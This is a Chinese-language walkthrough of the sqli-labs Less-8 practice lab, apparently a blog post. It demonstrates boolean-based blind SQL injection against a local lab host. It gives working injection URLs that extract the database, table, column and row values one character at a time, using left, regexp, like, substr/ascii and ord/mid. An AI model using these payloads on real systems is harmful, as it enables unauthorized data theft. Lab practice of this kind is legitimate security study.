Less8

第8关我直接复制的前几篇文件的测试的正好是第8管

1.判断是否存在sql注入漏洞

输入http://192.168.0.102/Less-8/?id=1
显示出You are in………..
在这里插入图片描述
添加一个'
输入http://192.168.0.102/Less-8/?id=1'
发现没有任何显示,可能存在sql注入漏洞
在这里插入图片描述
在进行判断
输入http://192.168.0.102/Less-8/?id=1 ' and '1'='1
发现正常显示

在这里插入图片描述
输入http://192.168.0.102/Less-8/?id=1 ' and '1'='2

报错
说明是存在sql注入漏洞的

在这里插入图片描述

2. 读取数据

发现他就两个结果,一个正确是输出,一个是错误不输出
我们就可以进行布尔盲注、
查询其他的比较麻烦这个我就查询当前的库的数据

  1. 查询当前的库名

下面演示的事left函数进行查询的

URL地址http://192.168.0.102/Less-8/?id=1' and left(database(),1)='s' --+
结果是s
输入a没有显示没有显示在这里插入图片描述
输入s都显示了
在这里插入图片描述

查询第二个
URL地址http://192.168.0.102/Less-8/?id=1' and left(database(),2)='se‘ --+
结果是e
输入a没有显示
在这里插入图片描述

输入e显示了说明就是e
在这里插入图片描述
还可以用burp进行查询方便
直接就可以查询出来
在这里插入图片描述
其他函数查询方法

1
2
3
4
5
6
7
8
9
10
11
regexp函数
http://192.168.0.102/Less-8/?id=1' and database() regexp '^s' --+

like函数
http://192.168.0.102/Less-8/?id=1' and database() like 'd%' --+

substr()函数和ascii()函数
http://192.168.0.102/Less-8/?id=1' and ascii(substr((select database()),1,1))=115 --+

ord()函数和mid()函数
http://192.168.0.102/Less-8/?id=1' and ord(mid((select database()),1,1))=115 --+

以此类推找到数据库名是security其他的库就不查询

  1. 查询表
    上面已经叫库明查询出来了

下面演示的事left函数进行查询的
URL地址http://192.168.0.102/Less-8/ ?id=1' and left((select table_name from information_schema.tables where table_schema='security' LIMIT 0,1) ,1)='e' --+
结果是e
输入a没有显示
在这里插入图片描述
输入e就显示了说明第一个字符是e

在这里插入图片描述
查询第二个
URL地址http://192.168.0.102/Less-8/ ?id=1' and left((select table_name from information_schema.tables where table_schema='security' LIMIT 0,1) ,2)='ea' --+
结果是m
输入a没有显示
在这里插入图片描述
输入m就显示了
在这里插入图片描述
用burp进行查询提升速度
是a
在这里插入图片描述
其他函数查询

1
2
3
4
5
6
7
8
9
10
11
regexp函数
http://192.168.0.102/Less-8/?id=1' and (select table_name from information_schema.tables where table_schema='security' LIMIT 0,1) regexp '^e' --+查询到emails

like函数
http://192.168.0.102/Less-8/?id=1' and (select table_name from information_schema.tables where table_schema='security' LIMIT 0,1) like 'e%' --+

substr()函数和ascii()函数
http://192.168.0.102/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' LIMIT 0,1) ,1,1))=101 --+

ord()函数和mid()函数
http://192.168.0.102/Less-8/?id=1' and ord(mid((select table_name from information_schema.tables where table_schema='security' LIMIT 0,1),1,1))=101 --+

以此类推叫第一个给查询出来了emails其他的表就不查询
3. 查询列
上面我已经第一个给查询出来了emails 利用这个查询列
下面演示的事left函数进行查询的
URL地址http://192.168.0.102/Less-8/?id=1' and left((select column_name from information_schema.columns where table_name='emails' LIMIT 0,1),1)='i' --+
结果是i
输入a没有显示
在这里插入图片描述
输入i就显示了
在这里插入图片描述
查询第二个字符
URL地址http://192.168.0.102/Less-8/?id=1' and left((select column_name from information_schema.columns where table_name='emails' LIMIT 0,1),2)='id' --+
结果是d
输入a没有显示
在这里插入图片描述
输入d显示了
在这里插入图片描述
用burp就不演示了
其他函数查询方法

1
2
3
4
5
6
7
8
9
10
11
regexp函数
http://192.168.0.102/Less-8/?id=1' and (select column_name from information_schema.columns where table_name='emails' LIMIT 0,1) regexp '^i' --+

like函数
http://192.168.0.102/Less-8/?id=1' and (select column_name from information_schema.columns where table_name='emails' LIMIT 0,1) like 'i%' --+

substr()函数和ascii()函数
http://192.168.0.102/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' LIMIT 0,1),1,1))=105 --+

ord()函数和mid()函数
http://192.168.0.102/Less-8/?id=1' and ord(mid((select column_name from information_schema.columns where table_name='emails' LIMIT 0,1),1,1))=105 --+

查询出来了第一个列是id其他的列就不查询
4. 查询数据内容
通过上面的查询知道了库明,表明,列明
就可以查询数据了
URL地址http://192.168.0.102/Less-8/?id=1' and left((select id from security.emails LIMIT 0,1 ),1)='2' --+
结果是1
输入2没有显示
在这里插入图片描述
输入1显示了
在这里插入图片描述
其他函数查询方法

1
2
3
4
5
6
7
8
9
10
11
12
regexp函数
http://192.168.0.102/Less-8/?id=1' and (select id from security.emails LIMIT 0,1 ) regexp '^1' --+

like函数
http://192.168.0.102/Less-8/?id=1' and (select id from security.emails LIMIT 0,1 ) like '1%' --+


substr()函数和ascii()函数
http://192.168.0.102/Less-8/?id=1' and ascii(substr((select id from security.emails LIMIT 0,1 ),1,1))=49 --+

ord()函数和mid()函数
http://192.168.0.102/Less-8/?id=1' and ord(mid((select id from security.emails LIMIT 0,1 ) ,1,1))=49 --+

数据库内容是结果是1

这样查询非常麻烦